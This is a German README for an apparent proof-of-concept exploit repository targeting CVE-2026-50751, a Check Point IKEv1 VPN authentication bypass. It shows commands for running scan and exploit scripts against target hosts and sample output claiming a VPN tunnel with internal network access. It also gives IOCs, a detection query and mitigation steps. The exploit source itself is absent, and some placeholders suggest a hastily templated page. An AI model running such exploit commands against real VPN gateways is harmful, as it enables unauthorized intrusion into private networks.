fevar54/cve-2026-50751---check-point-ikev1-authentication-bypass-exploitSchwachstelle: Logikschwäche im Remote Access und Mobile Access
Dieser Code ist NUR für Bildungszwecke und autorisierte Sicherheitstests. Die unbefugte Nutzung gegen Systeme ohne ausdrückliche Genehmigung ist ILLEGAL. Der Autor übernimmt keine Haftung für den Missbrauch dieses Werkzeugs.
CVE-2026-50751 ist eine kritische Schwachstelle zur Umgehung der Authentifizierung im IKEv1-Protokoll (veraltet) von Check Point, die Remote Access VPN und Mobile Access betrifft. Ein nicht authentifizierter Angreifer kann einen Fehler in der Zertifikatsvalidierung ausnutzen, um eine VPN-Verbindung ohne gültiges Passwort herzustellen.
| Produkt | Versionen |
|---|---|
| Security Gateways | R80.40 - R82.10 mit aktiviertem IKEv1 |
| Spark Firewalls | R80.20.X, R81.10.X, R82.00.X |
| Mobile Access | Alle Versionen mit IKEv1 |
# Repository klonen
git clone https://github.com/username/CVE-2026-50751-PoC
cd CVE-2026-50751-PoC
# Abhängigkeiten installieren
pip install -r requirements.txt
# Ausführungsberechtigungen erteilen
chmod +x exploit.py
📦 Abhängigkeiten
txt
cryptography>=41.0.0
scapy>=2.5.0
🚀 Verwendung
Erkennungsscan
bash
# Detektieren, ob IKEv1 aktiviert ist
python3 detector.py -t 192.168.1.1 -p 500
# Schnellscan
python3 detector.py -t vpn.target.com -p 4500
Ausnutzung (NUR FÜR AUTORISIERTE NUTZUNG)
bash
# Authentifizierungsumgehung ausführen
python3 exploit.py -t 192.168.1.1 -p 500
# Mit bestimmter Schnittstelle
python3 exploit.py -t vpn.target.com --interface eth0
# Ausführlicher Modus
python3 exploit.py -t 192.168.1.1 -p 500 -v
Erwartete Ausgabe
text
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-50751 - Check Point IKEv1 Authentication Bypass ║
║ Critical VPN Authentication Bypass Exploit ║
║ CVSS: 9.3 | CISA KEV: 2026-06-08 ║
╚═══════════════════════════════════════════════════════════════╝
[1] Initiating IKEv1 Main Mode...
[+] Received response - SPI: a1b2c3d4e5f67890
[2] Sending crafted KE + NONCE payloads...
[+] Gateway accepted crafted KE/NONCE - Vulnerability triggered!
[3] Calculating authentication keys...
[4] Sending spoofed authentication...
[+] SUCCESS! Authentication bypassed!
[+] Established IKE SA without valid credentials
[5] Establishing VPN tunnel...
[+] VPN tunnel established!
[+] Internal network access available
[✓] EXPLOIT SUCCESSFUL
[✓] Authentication bypass achieved
[✓] VPN tunnel established
[!] System is VULNERABLE - Apply hotfix immediately
🔍 Erkennung von Kompromittierung
In SmartConsole-Protokollen suchen
bash
# Abfrage zur Erkennung von Angreifern
action:"Key Install" AND (src:45.77.149.152 OR dst:45.77.149.152)
Bekannte IOCs
Typ Wert
Angreifer-IPs 45.77.149.152, 209.182.225.136, 38.60.157.139, 162.33.177.101, 45.76.26.42, 144.208.127.155, 38.54.88.201, 38.54.107.167, 66.42.99.200, 45.63.104.106, 45.61.136.173
Hashes 52fda5c1b9704544f32ee98d9060e689, 51d39aa39478beeac94f2d12f682ecce
🛡️ Gegenmaßnahmen
Option 1 - Hotfix einspielen (EMPFOHLEN)
Version Hotfix Take Link
R82.10 Take 19 Descargar
R82 Take 103 Descargar
R81.20 Take 141 Descargar
Option 2 - Temporäre Gegenmaßnahmen
Legacy-Clients deaktivieren:
SmartConsole → Gateway → VPN Clients → Authentication
Häkchen bei "Allow older clients" entfernen
Nur IKEv2 erzwingen:
Global Properties → Remote Access → VPN Authentication
"IKEv2 only" auswählen
Maschinenzertifikat obligatorisch machen:
VPN Clients → Authentication → Machine Certificate Authentication
Als "Mandatory" festlegen
📚 Referenzen
NVD - CVE-2026-50751
Check Point SK185033
CISA Known Exploited Vulnerabilities
Blog Post - Check Point Research
📊 Zeitleiste
Datum Ereignis
2026-05-07 Erste beobachtete Ausnutzung
2026-06-04 Check Point beginnt Untersuchung
2026-06-08 CVE veröffentlicht, CISA fügt zu KEV hinzu
2026-06-11 CISA-Frist zum Patchen
⚖️ Haftungsausschluss
Diese Software wird "wie besehen" bereitgestellt, ohne jegliche Garantien. Der Autor übernimmt keine Verantwortung für den Missbrauch dieses Werkzeugs. Verwenden Sie es ausschließlich auf Systemen, die Sie besitzen oder für deren Test Sie eine ausdrückliche Genehmigung haben.
📞 Kontakt
Um Fehler zu melden oder beizutragen:
Ein Issue auf GitHub eröffnen
Kontakt: [email protected]
🌟 Credits
Check Point Research - Für die Entdeckung und Analyse
CISA - Für die Koordination und Verbreitung
Sicherheitsgemeinschaft - Für die schnelle Reaktion
⭐ Falls dieser PoC nützlich war, erwäge, dem Repository einen Stern zu geben
text
## 📄 **LICENSE** (GPLv3)
📦 requirements.txt
txt
cryptography>=41.0.0
scapy>=2.5.0
colorama>=0.4.6
⚠️ Wichtiger Hinweis für GitHub: